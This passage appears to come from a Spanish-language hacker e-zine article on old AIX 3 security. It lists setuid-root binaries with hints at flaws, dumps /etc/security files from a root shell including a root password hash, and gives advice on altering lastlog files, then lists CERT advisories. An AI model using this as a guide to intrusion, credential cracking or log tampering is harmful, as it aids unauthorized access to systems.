-r-sr-x---   1 root     system      3808 18 Mar 1992  ./usr/lpp/bosperf/lib/crush
-r-sr-x---   1 root     system      7893 18 Mar 1992  ./usr/lpp/bosperf/lib/dm.x
-r-sr-x---   1 root     system      5855 18 Mar 1992  ./usr/lpp/bosperf/lib/exprg.x
-r-sr-x---   1 root     system      3102 18 Mar 1992  ./usr/lpp/bosperf/lib/genkex
-r-sr-x---   1 root     system      3174 18 Mar 1992  ./usr/lpp/bosperf/lib/genkld
-r-sr-x---   1 root     system      5342 18 Mar 1992  ./usr/lpp/bosperf/lib/genld
-r-sr-x---   1 root     system      6879 18 Mar 1992  ./usr/lpp/bosperf/lib/gsamp.x
-r-sr-x---   1 root     system     21400 18 Mar 1992  ./usr/lpp/bosperf/lib/inf_trace
-r-sr-x---   1 root     system      7903 18 Mar 1992  ./usr/lpp/bosperf/lib/kflow.x
-r-sr-x---   1 root     system      9941 18 Mar 1992  ./usr/lpp/bosperf/lib/knm.x
-r-sr-x---   1 root     system      6869 18 Mar 1992  ./usr/lpp/bosperf/lib/ksum.x
-r-sr-x---   1 root     system      6357 18 Mar 1992  ./usr/lpp/bosperf/lib/kxnm.x
-r-sr-x---   1 root     system      9951 18 Mar 1992  ./usr/lpp/bosperf/lib/merge.x
-r-sr-x---   1 root     system      6357 18 Mar 1992  ./usr/lpp/bosperf/lib/nm1.x
-r-sr-x---   1 root     system      6357 18 Mar 1992  ./usr/lpp/bosperf/lib/nm2.x
-r-sr-x---   1 root     system      5845 18 Mar 1992  ./usr/lpp/bosperf/lib/pro.x
-r-sr-x---   1 root     system       949 18 Mar 1992  ./usr/lpp/bosperf/lib/r.pro
-r-sr-x---   1 root     system     11989 18 Mar 1992  ./usr/lpp/bosperf/lib/samp.x
-r-sr-x---   1 root     system      7381 18 Mar 1992  ./usr/lpp/bosperf/lib/sum.x
-r-sr-x---   1 root     system      8415 18 Mar 1992  ./usr/lpp/bosperf/lib/tsamp.x
-r-sr-x---   1 root     system     12512 18 Mar 1992  ./usr/lpp/bosperf/lib/tsamp2.x
Esto esta masomenos arreglado...
-r-sr-x---   1 root     system     60159 18 Mar 1992  ./usr/lpp/bosperf/filemon
-r-sr-x---   1 root     system     14979 18 Mar 1992  ./usr/lpp/bosperf/fileplace
-r-sr-x---   1 root     system     44968 18 Mar 1992  ./usr/lpp/bosperf/lvedit
-r-sr-x---   1 root     system     76042 18 Mar 1992  ./usr/lpp/bosperf/netpmon
-r-sr-x---   1 root     system    212342 18 Mar 1992  ./usr/lpp/bosperf/rmap
-r-sr-x---   1 root     system     19545 18 Mar 1992  ./usr/lpp/bosperf/rmss
-r-sr-x---   1 root     system     30092 18 Mar 1992  ./usr/lpp/bosperf/svmon
Lo normal...
-r-sr-sr-x   1 root     cron       41154 15 Ago 13:57 ./usr/bin/at
Hmmmmmmmmmmmmmm.
-r-sr-sr-x   1 root     mail       28708 15 Ago 13:57 ./usr/bin/bellmail
-r-sr-x---   1 root     security   48081 15 Ago 13:57 ./usr/bin/chgroup
-r-sr-s---   1 root     printq     38221 15 Ago 13:57 ./usr/bin/chque
-r-sr-s---   1 root     printq     38221 15 Ago 13:57 ./usr/bin/chquedev
-r-sr-x---   1 root     security   47335 15 Ago 13:57 ./usr/bin/chuser
FIXED?
-r-sr-sr-x   1 root     cron       24663 15 Ago 13:57 ./usr/bin/crontab
-r-sr-sr-x   1 root     printq     53614 15 Ago 13:57 ./usr/bin/enq
-r-sr-xr-x   1 root     system      3352 15 Ago 13:57 ./usr/bin/host
-r-sr-xr-x   1 root     bin        12280 15 Ago 13:57 ./usr/bin/iostat
-r-sr-xr-x   1 root     bin         9038 15 Ago 13:57 ./usr/bin/ipcs
-r-sr-xr-x   1 root     system      6459 15 Ago 13:57 ./usr/bin/logout
-r-sr-xr-x   1 root     bin         3832 15 Ago 13:57 ./usr/bin/mesg
-r-sr-xr-x   1 root     security   56425 15 Ago 13:57 ./usr/bin/mkgroup
-r-sr-s---   1 root     printq     37721 15 Ago 13:57 ./usr/bin/mkque
-r-sr-s---   1 root     printq     38257 15 Ago 13:57 ./usr/bin/mkquedev
-r-sr-x---   1 root     security   60701 15 Ago 13:57 ./usr/bin/mkuser
-r-sr-xr-x   1 root     bin        84163 15 Ago 13:57 ./usr/bin/netstat
-r-sr-xr-x   1 root     security   46722 15 Ago 13:57 ./usr/bin/newgrp
-r-sr-xr-x   1 root     bin        16044 15 Ago 13:57 ./usr/bin/open
Race condition...
-r-sr-xr-x   1 root     security   46797 15 Ago 13:57 ./usr/bin/passwd
-r-sr-x---   1 root     security   38773 15 Ago 13:57 ./usr/bin/pwdadm
-r-sr-x---   1 root     security   36502 15 Ago 13:57 ./usr/bin/pwdck
FIXED????
-r-sr-xr-x   1 root     bin        59169 15 Ago 13:57 ./usr/bin/rdist
-r-sr-s---   1 root     printq     37745 15 Ago 13:57 ./usr/bin/rmque
-r-sr-s---   1 root     printq     38257 15 Ago 13:57 ./usr/bin/rmquedev
-r-sr-xr-x   1 root     security   51914 15 Ago 13:57 ./usr/bin/setgroups
-r-sr-xr-x   1 root     security   43542 15 Ago 13:57 ./usr/bin/setsenv
-r-sr-xr-x   1 root     security    5315 15 Ago 13:57 ./usr/bin/shell
-r-sr-xr-x   1 root     security    8152 15 Ago 13:57 ./usr/bin/su
-r-sr-x---   1 root     security   84359 15 Ago 13:57 ./usr/bin/sysck
-r-sr-x---   1 root     security   82279 15 Ago 13:57 ./usr/bin/tcbck
-r-sr-x---   1 root     security   43342 15 Ago 13:57 ./usr/bin/usrck
-r-sr-xr-x   1 root     bin        18359 15 Ago 13:57 ./usr/bin/vmstat
Y esto??
-r-sr-s---   1 root     ecs        11074 18 Dic 1991  ./usr/bin/chie
-r-sr-s---   1 root     ecs         7738 18 Dic 1991  ./usr/bin/chiin
-r-sr-s---   1 root     ecs      1307817 18 Dic 1991  ./usr/bin/ecs
-r-sr-s---   1 root     ecs         4090 18 Dic 1991  ./usr/bin/ecsrf
-r-sr-s---   1 root     ecs       362240 18 Dic 1991  ./usr/bin/iebase
-r-sr-s---   1 root     ecs         8168 18 Dic 1991  ./usr/bin/lsie
-r-sr-s---   1 root     ecs         3626 18 Dic 1991  ./usr/bin/lsiin
FTP no tendria por que estar suid root en cualquier UNIX decente...
-r-sr-xr-x   1 root     system    186966 09 Ene 1992  ./usr/bin/ftp
-r-sr-xr-x   1 root     system     19965 09 Ene 1992  ./usr/bin/rcp
-r-sr-xr-x   1 root     bin        12300 09 Ene 1992  ./usr/bin/rexec
-r-sr-xr-x   1 root     bin        13060 09 Ene 1992  ./usr/bin/rlogin
-r-sr-xr-x   1 root     system      8346 09 Ene 1992  ./usr/bin/rsh
-r-sr-xr-x   1 root     system      6882 09 Ene 1992  ./usr/bin/ruptime
-r-sr-xr-x   1 root     system      4690 09 Ene 1992  ./usr/bin/rwho
-r-sr-xr-x   1 root     system    138371 09 Ene 1992  ./usr/bin/telnet
Ni esto.
-r-sr-xr-x   1 root     system     27715 09 Ene 1992  ./usr/bin/tftp
-r-sr-xr-x   1 root     system     27715 04 Mar 1992  ./usr/lib/boot/tftp

-r-sr-x---   1 root     system      5106 18 Mar 1992  ./usr/lib/drivers/rmss.ext
-r-sr-x---   1 root     system      2029 18 Mar 1992  ./usr/lib/drivers/rmss.load
-r-sr-x---   1 root     printq     37133 15 Ago 13:59 ./usr/lib/lpd/digest
-r-sr-x---   1 root     printq     48872 15 Ago 13:59 ./usr/lib/lpd/qstatus
-r-sr-x---   1 root     printq     46668 15 Ago 13:59 ./usr/lib/lpd/rembak
-rwsr-sr-x   1 root     system    505042 09 Ene 1992  ./usr/lib/lpd/cpsI1
-rwsr-sr-x   1 root     system    575664 09 Ene 1992  ./usr/lib/lpd/cpsC1
-rwsr-sr-x   1 root     system    778069 09 Ene 1992  ./usr/lib/lpd/cpsV1
-r-sr-x---   1 root     system      1898 15 Ago 14:00 ./usr/lib/methods/showled
-r-sr-x---   1 root     adm         9790 15 Ago 14:02 ./usr/lib/sa/sadc
-r-sr-xr-x   1 root     bin       126760 18 Dic 1991  ./usr/lib/mh/post
-r-sr-s---   1 root     system      4258 18 Dic 1991  ./usr/lib/semutil
Uhg, el bugfiler suid root, lo unico que faltaria es que tenga un bug, jajaja
-r-sr-xr-x   1 root     bin        20410 18 Dic 1991  ./usr/lib/bugfiler
-r-sr-x---   1 root     adm        10598 15 Ago 14:02 ./usr/sbin/acct/diskusg
-r-sr-x---   1 root     adm         2626 18 Dic 1991  ./usr/sbin/acct/accton
-r-sr-xr-x   1 root     system     13256 15 Ago 14:02 ./usr/sbin/arp
-r-sr-x---   1 root     audit      17898 15 Ago 14:02 ./usr/sbin/audit
-r-sr-x---   1 root     audit      13878 15 Ago 14:02 ./usr/sbin/auditbin
-r-sr-x---   1 root     audit      11208 15 Ago 14:02 ./usr/sbin/auditcat
-r-sr-x---   1 root     audit      20612 15 Ago 14:02 ./usr/sbin/auditpr
-r-sr-x---   1 root     audit      15104 15 Ago 14:02 ./usr/sbin/auditselect
-r-sr-x---   1 root     audit       6286 15 Ago 14:02 ./usr/sbin/auditstream
-r-sr-x---   1 root     system     13284 15 Ago 14:03 ./usr/sbin/cfgmgr
-r-sr-x---   1 root     system     15907 15 Ago 14:03 ./usr/sbin/chdev
-r-s--S---   1 root     cron       33123 15 Ago 14:03 ./usr/sbin/cron
-r-sr-xr-x   2 root     system      8591 15 Ago 14:03 ./usr/sbin/format
-r-sr-xr-x   1 root     system     10041 15 Ago 14:03 ./usr/sbin/fuser
-r-sr-x---   1 root     security   16955 15 Ago 14:03 ./usr/sbin/grpck
-r-sr-x---   1 root     system     14308 15 Ago 14:03 ./usr/sbin/ipl_varyon
-r-sr-x---   1 root     system      6312 15 Ago 14:03 ./usr/sbin/lchangelv
-r-sr-x---   1 root     system      5240 15 Ago 14:03 ./usr/sbin/lchangepv
-r-sr-x---   1 root     system      6276 15 Ago 14:03 ./usr/sbin/lcreatelv
-r-sr-x---   1 root     system      6286 15 Ago 14:03 ./usr/sbin/lcreatevg
-r-sr-x---   1 root     system      5276 15 Ago 14:03 ./usr/sbin/ldeletelv
-r-sr-x---   1 root     system      5204 15 Ago 14:03 ./usr/sbin/ldeletepv
-r-sr-x---   1 root     system      7172 15 Ago 14:03 ./usr/sbin/lextendlv
-r-sr-x---   1 root     system      5205 15 Ago 14:03 ./usr/sbin/linstallpv
-r-sr-x---   1 root     system      4511 15 Ago 14:03 ./usr/sbin/lmigratepp
-r-sr-s---   1 root     printq     47225 15 Ago 14:03 ./usr/sbin/lpd
-r-sr-xr-x   1 root     system      8141 15 Ago 14:03 ./usr/sbin/lquerylv
-r-sr-xr-x   1 root     system      6021 15 Ago 14:03 ./usr/sbin/lquerypv
-r-sr-xr-x   1 root     system      6021 15 Ago 14:03 ./usr/sbin/lqueryvg
-r-sr-xr-x   1 root     system      4424 15 Ago 14:03 ./usr/sbin/lqueryvgs
-r-sr-x---   1 root     system      7172 15 Ago 14:03 ./usr/sbin/lreducelv
-r-sr-x---   1 root     system      4546 15 Ago 14:03 ./usr/sbin/lresynclp
-r-sr-x---   1 root     system      4510 15 Ago 14:03 ./usr/sbin/lresynclv
-r-sr-xr-x   1 root     system     19571 15 Ago 14:03 ./usr/sbin/lslv
-r-sr-xr-x   1 root     system     14930 15 Ago 14:03 ./usr/sbin/lspv
-r-sr-xr-x   1 root     system     21884 15 Ago 14:03 ./usr/sbin/lsvg
-r-sr-xr-x   1 root     system      5067 15 Ago 14:03 ./usr/sbin/lsvgfs
-r-sr-x---   1 root     system      4693 15 Ago 14:03 ./usr/sbin/lvaryoffvg
-r-sr-x---   1 root     system      7588 15 Ago 14:03 ./usr/sbin/lvaryonvg
-r-sr-x---   1 root     system     20183 15 Ago 14:03 ./usr/sbin/mkdev
-r-sr-x---   1 root     system     20874 15 Ago 14:03 ./usr/sbin/mklv
-r-sr-xr-x   1 root     system      3866 15 Ago 14:03 ./usr/sbin/mknod
-r-sr-x---   1 root     security    7492 15 Ago 14:03 ./usr/sbin/mkpasswd
-r-sr-x---   1 root     system     11671 15 Ago 14:03 ./usr/sbin/mkvg
-r-sr-xr-x   3 root     system     32410 15 Ago 14:03 ./usr/sbin/mount
-r-sr-x---   6 root     system     16587 15 Ago 14:03 ./usr/sbin/penable
-r-sr-xr-x   1 root     system     17973 15 Ago 14:03 ./usr/sbin/ping
-r-sr-s---   1 root     printq     55225 15 Ago 14:03 ./usr/sbin/qdaemon
-r-sr-xr-x   1 root     bin        14008 15 Ago 14:03 ./usr/sbin/quota
-r-sr-x---   1 root     system     15859 15 Ago 14:03 ./usr/sbin/rmdev
-r-sr-x---   1 root     security   45557 15 Ago 14:03 ./usr/sbin/rmgroup
-r-sr-x---   1 root     security   44641 15 Ago 14:03 ./usr/sbin/rmuser
-r-sr-xr--   1 root     system     19770 15 Ago 14:03 ./usr/sbin/route
-r-sr-s--x   3 root     system    231925 15 Ago 14:03 ./usr/sbin/sendmail
-r-sr-s---   1 root     system     27209 15 Ago 14:03 ./usr/sbin/srcmstr
-r-sr-xr-x   3 root     security   58142 15 Ago 14:03 ./usr/sbin/tsm
-r-sr-x---   1 root     system      6954 15 Ago 14:03 ./usr/sbin/swapon
-r-sr-x---   1 root     system     11771 15 Ago 14:03 ./usr/sbin/varyonvg
-r-sr-x---   1 root     audit      15328 15 Ago 14:03 ./usr/sbin/watch
-r-sr-x---   1 root     system      9663 15 Ago 14:03 ./usr/sbin/chcons
-r-sr-xr-x   1 root     system      3883 15 Ago 14:03 ./usr/sbin/lscons
-r-sr-x---   1 root     system      4794 15 Ago 14:03 ./usr/sbin/swcons
-r-sr-xr-x   2 root     system      8591 15 Ago 14:03 ./usr/sbin/fdformat
-r-sr-xr-x   3 root     system     32410 15 Ago 14:03 ./usr/sbin/unmount
-r-sr-xr-x   3 root     system     32410 15 Ago 14:03 ./usr/sbin/umount
-r-sr-x---   6 root     system     16587 15 Ago 14:03 ./usr/sbin/pdisable
-r-sr-x---   6 root     system     16587 15 Ago 14:03 ./usr/sbin/pstart
-r-sr-x---   6 root     system     16587 15 Ago 14:03 ./usr/sbin/phold
-r-sr-x---   6 root     system     16587 15 Ago 14:03 ./usr/sbin/pdelay
-r-sr-x---   6 root     system     16587 15 Ago 14:03 ./usr/sbin/pshare
-r-sr-s--x   3 root     system    231925 15 Ago 14:03 ./usr/sbin/mailq
-r-sr-s--x   3 root     system    231925 15 Ago 14:03 ./usr/sbin/newaliases
BLAH!
-r-sr-xr-x   3 root     security   58142 15 Ago 14:03 ./usr/sbin/getty
-r-sr-xr-x   3 root     security   58142 15 Ago 14:03 ./usr/sbin/login
-r-sr-x---   1 root     system      7995 18 Dic 1991  ./usr/sbin/uucpd
-r-sr-xr--   1 root     system    115986 09 Ene 1992  ./usr/sbin/ftpd
-r-sr-xr--   1 root     system     38070 09 Ene 1992  ./usr/sbin/inetd
-r-sr-xr--   1 root     system    102327 09 Ene 1992  ./usr/sbin/named
-r-sr-xr--   1 root     system     20647 09 Ene 1992  ./usr/sbin/named-xfer
-r-sr-xr--   1 root     system     14812 09 Ene 1992  ./usr/sbin/rexecd
-r-sr-xr--   1 root     system     22283 07 May 1992  ./usr/sbin/rlogind
-r-sr-xr--   1 root     system     12289 09 Ene 1992  ./usr/sbin/rshd
-r-sr-xr--   1 root     system     14351 09 Ene 1992  ./usr/sbin/rwhod
-r-sr-xr-x   1 root     system      5186 09 Ene 1992  ./usr/sbin/setclock
-r-sr-xr--   1 root     system     13512 09 Ene 1992  ./usr/sbin/talkd
-r-sr-xr--   1 root     system     38107 07 May 1992  ./usr/sbin/telnetd
-r-sr-xr-x   1 root     system     17591 09 Ene 1992  ./usr/sbin/timedc
-r-sr-xr-x   1 root     system      3884 09 Ene 1992  ./usr/sbin/keyenvoy
-r-sr-xr-x   1 root     system      9449 09 Ene 1992  ./usr/sbin/nfsstat
--wsr-sr-x   1 root     system         0 15 Ago 14:06 ./usr/share/lpp/inu_LOCK
---s--x--x   1 bin      bin         6350 18 Dic 1991  ./usr/games/fortune
--wsr-sr-x   1 root     system         0 15 Ago 14:06 ./lpp/inu_LOCK

El directorio /etc/security
~~~~~~~~~~~~~~~~~~~~~~~~~~~
   En este directorio se encuentran varios files que definen caracteristicas
especificas para cada usuario y/o grupo y defaults. La mayoria de los archivos
relacionados con la seguridad del sistema se encuentran aqui.

#  whoami
root
# cd /etc/security
# ls -al
drwxr-x---   3 root     security     512 16 Ago 10:08 .
drwxrwxr-x  15 root     system      6144 26 Ago 19:20 ..
-rw-rw----   1 root     security     253 15 Ago 14:04 .mprofile
-rw-rw----   1 root     security     254 15 Ago 14:04 .profile
drwxr-x---   2 root     audit        512 15 Ago 14:04 audit
-rw-r-----   1 root     security      60 15 Ago 14:04 environ
-rw-r--r--   1 root     system     17216 26 Ago 12:06 failedlogin
-rw-r-----   1 root     security     305 15 Ago 14:04 group
-rw-r-----   1 root     security   29772 26 Ago 22:48 lastlog
-rw-r-----   1 root     security     543 15 Ago 14:04 limits
-rw-rw----   1 root     security     805 15 Ago 14:04 login.cfg
lrwxrwxrwx   1 root     system        32 15 Ago 14:04 mkuser.default -> /usr/lib/security/mkuser.default
lrwxrwxrwx   1 root     system        28 15 Ago 14:04 mkuser.sys -> /usr/lib/security/mkuser.sys
-rw-r-----   1 root     security   29780 26 Ago 22:48 olastlog
-rw-------   1 root     security     532 24 Ago 20:40 opasswd
-rw-r-----   1 root     security   81937 15 Ago 17:48 osysck.cfg
-rw-------   1 root     security     591 24 Ago 20:40 passwd
lrwxrwxrwx   1 root     system        22 15 Ago 14:04 scan -> /usr/lib/security/scan
-rw-r-----   1 root     security   81937 15 Ago 17:48 sysck.cfg
-rw-r-----   1 root     security    3572 15 Ago 14:04 user
--------------------------------------------------------------------------------
/*
  .mprofile : Script default que se ejecuta cada vez que se corre un shell
 
*/
# cat .mprofile
 

PATH=/usr/mbin:/bin:/usr/bin:/etc:/usr/ucb:$HOME/bin:/usr/bin/X11:.

export PATH

if [ -s "$MAIL" ]           # This is at Shell startup.  In normal
then echo "$MAILMSG"        # operation, the Shell checks
fi                          # periodically.
--------------------------------------------------------------------------------
/* .profile : Script default que se ejecuta cada vez que se corre un shell
 
*/
# cat .profile
 

PATH=/usr/bin:/etc:/usr/sbin:/usr/ucb:$HOME/bin:/usr/bin/X11:/sbin:.

export PATH

if [ -s "$MAIL" ]           # This is at Shell startup.  In normal
then echo "$MAILMSG"        # operation, the Shell checks
fi                          # periodically.
--------------------------------------------------------------------------------
/* user : Atributos de las cuentas. La descripcion de los atributos es
          bastante explicativa. Prestar especial atencion a auth1, que en
          conbinacion con la definicion de un metodo propio en login.cfg
          puede hacer que una cuenta tenga un metodo de validacion
          distinto al normal o incluso que no tenga  autentificacion.. eh
          La entrada 'default' define los atributos para todos los usuarios,
          despues de lo cual entradas para usuarios especificos hacen un
          overide de los atributos que se indican. Es bastante estupido
          modificar auth1 y/o auth2 en la entrada default, a menos que
          uno se el admin del AIDX.
   Notese  que  el default de tpath es nosak y de umask es 022, mas
   generalmente, el default de AIDX es de 'seguridad relajada'.
 
*/
# cat user

*******************************************************************************
* VALID USER ATTRIBUTES FOR /ETC/SECURITY/USER:
*
* admin         Defines the administrative status of the user.
*               Possible values: true or false.
*
* auth1         Defines the primary authentication methods for a user.
*               Possible values: SYSTEM,NONE,method;username.
*
*               SYSTEM will be the normal password authentication method.
*
*               NONE will skip authentication.
*
*               method;name. Will run a custom authentication
*                       method in /etc/security/login.cfg.
*               for example:
*               if the auth1 value is:
*                       auth1 = method;username
*               and the stanza in /etc/security/login.cfg is:
*                       method:
*                               program = /any/program
*               the username will be passed to the program /any/program
*                       to be authenticated.
*
*               these methods can be mixed:
*               for example:
*                       auth1 = SYSTEM,method;username
*               this will ask for a password and then run the method
*                       program.
*
* auth2         Defines the secondary authentication methods for a user.
*               Possible values: see auth1.
*               It is not a requirement to pass this method to login.
*
* daemon        Defines whether the user can execute programs using cron or src.
*               Possible values: true or false.
*
* expires       Defines the expiration time for the user account.
*               Possible values: a valid date in the form MMDDHHMMYY or 0.
*               If 0 the account does not expire.
*               If 0101000070 the account is disabled.
*
* login         Defines whether the user can login.
*               Possible values: true or false.
*
* rlogin        Defines whether the user account can be accessed
*                       by remote logins.
*               Possible values: true or false.
*
* su            Defines whether other users can su to this user account.
*               Possible values: true or false.
*
* sugroups      Defines which groups can su to this user account.
*               Possible values: comma-separated list of valid groups,
*                       ALL, or *.
*               note: these groups can be preceded by a ! to explicitly exclude
*                       this group from su'ing to the user account.
*
* tpath         Defines the user's trusted path characteristics.
*               Possible values:
*                       nosak: the sak key (^X^R) has no effect.
*                       notsh: the sak key logs you out you can never be on the
*                               trusted path.
*                       always: when you log in you are always on the trusted
*                               path and can never get off.
*                       on: enter trusted path when the sak key is hit.
*               note: these only take effect if the sak_enabled
*                       attribute is set to true for the port you are
*                       logging into in /etc/security/login.cfg.
*
* ttys          Defines which terminals can access the user account.
*               Possible values: comma-seperated list of valid terminal
*                       device paths, ALL, or *.
*               note: these ttys can be preceded by a ! to explicitly exclude
*                       this tty from accessing to the user account.
*
* umask         Defines the default umask for the user.
*               Possible values: three-digit octal value.
*
* notes:
*       for the boolean values (ie. true or false) any of the following
*       values will work:
*               true, false, yes, no, always, never.
*               These values are not case sensitive.
*
*******************************************************************************

default:
        admin = false
        login = true
        su = true
        daemon = true
        rlogin = true
        sugroups = ALL
        ttys = ALL
        auth1 = SYSTEM
        auth2 = NONE
        tpath = nosak
        umask = 022
        expires = 0

root:
        admin = true

daemon:
        admin = true
        expires = 0101000070

bin:
        admin = true
        expires = 0101000070

sys:
        admin = true
        expires = 0101000070

adm:
        admin = true

uucp:
        admin = true
        login = false
        rlogin = false
        su = true

guest:
 

nobody:
        admin = true
        expires = 0101000070

lpd:
        admin = true
        expires = 0101000070
--------------------------------------------------------------------------------
/*
  group: Atributos de los distintos grupos de usuarios.

*/

# cat group

system:
        admin = true

staff:
        admin = false

bin:
        admin = true

sys:
        admin = true

adm:
        admin = true

uucp:
        admin = true

mail:
        admin = true

security:
        admin = true

cron:
        admin = true

printq:
        admin = true

audit:
        admin = true

ecs:
        admin = true

usr:
        admin = false

nobody:
        admin = false
-------------------------------------------------------------------------------------
/*
 login.cfg: Configuracion del login. Define atributos para cada 'port' de acceso
            (tty bah), que mierda muestra en la pantallita (herald),
            si tiene habilitada la sak  (el default es no :) ), restriciones
            en la eleccion de passwords, cantidad  de logins maxima, etc.

*/
# cat login.cfg
port:
        sak_enabled = false
        herald = "login:"
* comma-seperated pathnames
        aliases =

defport:
        herald = "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\rIBM AIX Version 3 for RISC System/6000\n\r(C) Copyrights by IBM and by others 1982, 1991.\n\rlogin: "

/dev/console:
        sak_enabled = false
        herald = "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\rIBM AIX Version 3 for RISC System/6000\n\r(C) Copyrights by IBM and by others 1982, 1991.\n\rConsole login: "

*auth_method:
*       program =

pw_restrictions:
        maxage = 0
        minage = 0
        minalpha = 0
        minother = 0
        mindiff = 0
        maxrepeats = 8

usw:
        shells = /bin/sh,/bin/bsh,/bin/csh,/bin/ksh,/bin/tsh,/usr/bin/sh,/usr/bin/bsh,/usr/bin/csh,/usr/bin/ksh,/usr/bin/tsh,/usr/mbin/sh,/usr/mbin/bsh,/usr/mbin/csh,/usr/mbin/ksh,/usr/mbin/tsh
        maxlogins = 8
--------------------------------------------------------------------------------
/*
  limits : Limites para el uso de recursos del sistema. Por lo general  estos
           valores  no son tomados en cuenta. Es mas, hasta el AIDX 3.2.5
           este file existia pero no servia para nada. :)
*/
# cat limits

*
* Sizes are in multiples of blocks, CPU time is in seconds
*
* fsize - maximum file size in blocks
* core  - maximum core file size in blocks
* cpu   - per process CPU time limit in seconds
* data  - maximum data segment size in blocks
* stack - maximum stack segment size in blocks
* rss   - maximum real memory usage in blocks
*
* NOTE:  a value less than or equal to zero implies "unlimited"
*

default:
        fsize = 2097151
        core = 2048
        cpu = -1
        data = 262144
        rss = 65536
        stack = 65536

root:

daemon:

bin:

sys:

adm:

uucp:

guest:
--------------------------------------------------------------------------------
/*
  mkuser.default: Bleh! Defaults para la creacion de lusers, se explican
                  por si mismos.
*/
# cat mkuser.default

user:
        group = staff
        groups = staff
        prog = /bin/ksh
        home = /u/$USER

admin:
        group = system
        groups = system
        prog = /bin/ksh
        home = /u/$USER
--------------------------------------------------------------------------------
/*
 mkuser.sys: Script para crear nuevos lusers. Toma 4 argumentos
                     homedir lusername groupname shell
        Es llamado por cosas horrendas del tipo SMIT(hers).
*/
# cat mkuser.sys
# @(#)18        1.7  com/cmd/s/user/mkuser.sys.sh, bos, bos320 8/16/91 16:51:20
# COMPONENT_NAME: (CMDSUSER) security user commands
#
# FUNCTIONS:
#
# ORIGINS: 27
#
# (C) COPYRIGHT International Business Machines Corp. 1989
# All Rights Reserved
# Licensed Materials - Property of IBM
#
# US Government Users Restricted Rights - Use, duplication or
# disclosure restricted by GSA ADP Schedule Contract with IBM Corp.
#

#
# Check the number of arguments first
#
if [ $# -lt 4 ]
then
        exit 1
fi

#
# Create the named directory if it does not already exist
# and set the file ownership and permission
#
if [ ! -d $1 ]
then
        mkdir $1
        chgrp $3 $1
        chown $2 $1
fi

#
# Copy the user's default .profile if it does not already
# exist and change the file ownership, etc.
#
if [ `basename $4` != "csh" ] && [ ! -f $1/.profile ]
then
        if [ `dirname $4` = "/usr/mbin" ]
        then
                cp /etc/security/.mprofile $1/.profile
        else
                cp /etc/security/.profile $1/.profile
        fi
        chmod u+rwx,go-w $1/.profile
        chgrp $3 $1/.profile
        chown $2 $1/.profile

else
   if [ `basename $4` = "csh" ] && [ ! -f $1/.login ]
   then
        if [ $4 = "/usr/mbin/csh" ]
        then
                echo "#!/usr/mbin/csh" > "$1"/.login
                echo "set path = ( /usr/mbin /bin /usr/bin /etc /usr/ucb \$HOME/bin /usr/bin/X11 . )" >> "$1"/.login
        else
                echo "#!/bin/csh" > "$1"/.login
                echo "set path = ( /bin /usr/bin /etc /usr/ucb \$HOME/bin /usr/bin/X11 . )" >> "$1"/.login
        fi

        echo "setenv MAIL \"/usr/spool/mail/\$LOGNAME\"" >> "$1"/.login
        echo "setenv MAILMSG \"[YOU HAVE NEW MAIL]\"" >> "$1"/.login
        echo "if ( -f \"\$MAIL\" && ! -z \"\$MAIL\") then" >> "$1"/.login
        echo "  echo \"\$MAILMSG\"" >> "$1"/.login
        echo "endif" >> "$1"/.login
        chmod u+rwx,go-w $1/.login
        chgrp $3 $1/.login
        chown $2 $1/.login
   fi
fi
--------------------------------------------------------------------------------
/*
  passwd : Uh? que podra ser???
*/
# cat passwd

root:
        password = W7sERbuuHfYQc
        lastupdate = 777752568
        flags =

daemon:
        password = *

bin:
        password = *

sys:
        password = *

adm:
        password = *

uucp:
        password = *

guest:
        password = *

nobody:
        password = *

lpd:
        password = *

mr370206:
        password = *
        lastupdate = 777342188
        flags =

mr334579:
        password = *
        lastupdate = 777661437
        flags =

mr334491:
        password = *
        lastupdate = 777661632
        flags =

mr372443:
        password = *
        lastupdate = 777672247
        flags =

mr371133:
        password = *
        lastupdate = 777681114
        flags =

mr370051:
        password = *
        lastupdate = 777782417
        flags =
--------------------------------------------------------------------------------
/*
  lastlog: Lo que su nombre indica, guarda fecha y hora del ultimo login
    de cada cuenta y del ultimo login fallido. Tambien desde donde
           se hicieron esos logins. Ojo, modificar SOLO este file no sirve
           de nada, hay que modificar tambien el lastlog usual que generalmente
           esta en /var/adm|/usr/adm|~adm|etc. Ademas, al parecer las
           actualizaciones aca se escriben al DESLOGUEARSE....
*/
# cat lastlog
*******************************************************************************
* valid user attributes for /etc/security/lastlog:
*
* time_last_login               The last time that the user
*                               successfully logged into the system.
*
* time_last_unsuccessful_login  The time that the last unsuccessful
*                               attempt to log in as the user was made.
*
* tty_last_login                The last tty port that the user
*                               successfully logged into.
*
* tty_last_unsuccessful_login   The tty port of the last unsuccessful
*                               attempt to log in as the user was
*                               made.
*
* host_last_login               The host from which the user logged in
*                               from if the tty was not locally
*                               attached.  This implies that the user
*                               used telnet or rlogin to log into the
*                               system.
*
* host_last_unsuccessful_login  The host from which the last
*                               unsuccessful attempt to log in as the
*                               user was made.
*
* unsuccessful_login_count      The number of attempts to log in as
*                               the user since the last successful
*                               login.
*
*******************************************************************************

root:
        time_last_login = 777962903
        tty_last_login = pts/1
        host_last_login = loopback
        unsuccessful_login_count = 1
        time_last_unsuccessful_login = 777702139
        tty_last_unsuccessful_login = hft/0
        host_last_unsuccessful_login = aixhost1

jperez:
        time_last_login = 777670818
        tty_last_login = hft/0
        host_last_login = aixhost1
                    -------------------------------
# exit
NO CARRIER

Existen muchas mas consideraciones a tratar, pero para dejar este file de un
tama&o razonable y limitado a lo basico, lo dejo aca, agrego los CERT
Advisories relevantes, en algun proximo numero habra mas cosas.

                     -----------------------------

Anexo I
~~~~~~~
      CA-91:19 TFTP Daemon Vulnerability.
      CA-92:05 REXD Daemon Vulnerability.
      CA-92:06 uucp Vulnerability.
      CA-92:07 /bin/passwd Vulnerability.
      CA-92:09 Anonymous FTP Vulnerability.
      CA-92:10 crontab Vulnerability
      CA-94:03 Performance tools Vulnerability.
      CA-94:09 /bin/login Vulnerability.
      CA-94:10 bsh Vulnerability.
 

===========================================================================
CA-91:19                        CERT Advisory
                              October 17, 1991
                        AIX TFTP Daemon Vulnerability

---------------------------------------------------------------------------

The Computer Emergency Response Team/Coordination Center (CERT/CC) has
received information concerning a vulnerability in the TFTP daemon in
all versions of AIX for IBM RS/6000 machines.

IBM is aware of this problem and a fix is available as apar number "ix22628".
